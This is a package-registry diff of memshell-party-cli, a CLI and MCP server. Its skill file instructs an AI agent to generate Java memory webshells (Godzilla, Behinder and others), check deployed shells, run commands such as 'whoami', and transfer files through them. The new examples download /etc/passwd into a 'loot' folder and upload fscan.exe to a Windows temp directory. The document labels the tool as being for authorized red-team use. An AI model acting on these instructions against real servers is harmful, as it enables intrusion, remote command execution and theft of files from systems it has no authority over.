memshell-party-cli 0.3.1 → 0.3.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "memshell-party-cli",
3
- "version": "0.3.1",
3
+ "version": "0.3.3",
4
4
  "description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.",
5
5
  "keywords": [
6
6
  "memshell",
@@ -38,6 +38,7 @@
38
38
  "@inquirer/prompts": "^7.2.1",
39
39
  "@modelcontextprotocol/sdk": "^1.12.1",
40
40
  "commander": "^12.1.0",
41
+ "iconv-lite": "^0.7.3",
41
42
  "zod": "^3.24.1"
42
43
  },
43
44
  "devDependencies": {
@@ -1,6 +1,6 @@
1
1
  ---
2
2
  name: memshell-party
3
- description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, and run commands on them with `memparty exec`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, or execute commands on a Godzilla / Behinder shell — for authorized security testing, red-team engagements, or research only.
3
+ description: Generate Java memory shells and probe shells with MemShellParty (the `memparty` CLI or its MCP tools), verify deployed shells with `memparty connect`, run commands on them with `memparty exec`, and transfer files with `memparty upload`/`memparty download`. Use when the user wants to build a Java web memory-shell payload (Godzilla / Behinder / AntSword / Command / Suo5 / NeoreGeorg / Proxy / Custom), probe a target middleware, test that a Godzilla / Behinder / suo5 shell is alive, execute commands on a Godzilla / Behinder shell, or move files through one — for authorized security testing, red-team engagements, or research only.
4
4
  ---
5
5
 
6
6
  # MemShellParty skill
@@ -18,8 +18,8 @@ Two equivalent interfaces — pick whichever is available:
18
18
  - **CLI**: `memparty <command> [flags]` (install: `npm install -g memshell-party-cli`, or `npx memshell-party-cli`).
19
19
  - **MCP tools** (if the `memshell-party` MCP server is connected): `list_servers`, `list_config`,
20
20
  `list_packers`, `list_command_configs`, `generate_memshell`, `generate_probe`, `parse_classname`,
21
- `server_version`, `connect_test`, `exec_command`, `target_save`, `target_note`, `target_list`,
22
- `target_remove`, `log_list`.
21
+ `server_version`, `connect_test`, `exec_command`, `download_file`, `upload_file`, `target_save`,
22
+ `target_note`, `target_list`, `target_remove`, `log_list`.
23
23
 
24
24
  The CLI is the source of truth for examples below; MCP tool args mirror the CLI flags
25
25
  (`-s/--server` → `server`, `-t/--tool` → `shellTool`, `-y/--type` → `shellType`, `-p/--packer` → `packer`).
@@ -192,16 +192,44 @@ memparty exec -u <shell-url> -t behinder --pass rebeyond \
192
192
  Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
193
193
  `headerName`/`headerValue`).
194
194
 
195
- ## Step 6 — Save targets, switch by name
195
+ ## Step 6 — Transfer files
196
+
197
+ `memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
198
+ real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
199
+ Behinder). Same credentials and gate header as `exec`:
200
+
201
+ ```bash
202
+ memparty download -u <shell-url> -t godzilla --pass pass --key key \
203
+ --header-name User-Agent --header-value <headerValue-from-gen-json> \
204
+ /etc/passwd -o loot/passwd
205
+ memparty upload hw222/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
206
+ ```
207
+
208
+ - Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
209
+ directory keeps the remote basename; no `-o` means `./<basename>`.
210
+ - Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
211
+ upload warns that the remote file may be partial.
212
+ - Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
213
+ - Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
214
+ server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
215
+ Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
216
+ - `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
217
+ file bytes never travel over MCP/stdout.
218
+
219
+ Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
220
+ `upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
221
+ paths are on the machine running the MCP server.
222
+
223
+ ## Step 7 — Save targets, switch by name
196
224
 
197
225
  Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
198
226
  with an optional remark and category), then reference it as `<project>/<shell>`:
199
227
 
200
228
  ```bash
201
- memparty target save hw222/bh9060 -u <shell-url> -t behinder --pass rebeyond \
229
+ memparty save hw222/bh9060 -u <shell-url> -t behinder --pass rebeyond \
202
230
  --header-name User-Agent --header-value <headerValue-from-gen-json> \
203
231
  --remark "内网测试环境" --category test --shell-remark "root 权限"
204
- memparty target list # everything, or --category test
232
+ memparty list # everything, or --category test
205
233
  memparty exec hw222/bh9060 --cmd "whoami" # no other flags needed
206
234
  memparty exec hw222 --cmd "id" # bare project works when it holds one shell
207
235
  ```
@@ -212,10 +240,11 @@ MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark
212
240
  `name: "<project>/<shell>"` to `connect_test` / `exec_command`.
213
241
  The store lives at `~/.memparty/targets.json`.
214
242
 
215
- ## Step 7 — Audit with the operation log
243
+ ## Step 8 — Audit with the operation log
216
244
 
217
- Every operation (gen, probe, connect, exec, target save/note/remove) is appended to
218
- `~/.memparty/operations.jsonl` — no credentials, no payload bytes; exec output is truncated.
245
+ Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
246
+ `~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
247
+ is truncated.
219
248
  Query it to recall what was done against a target:
220
249
 
221
250
  ```bash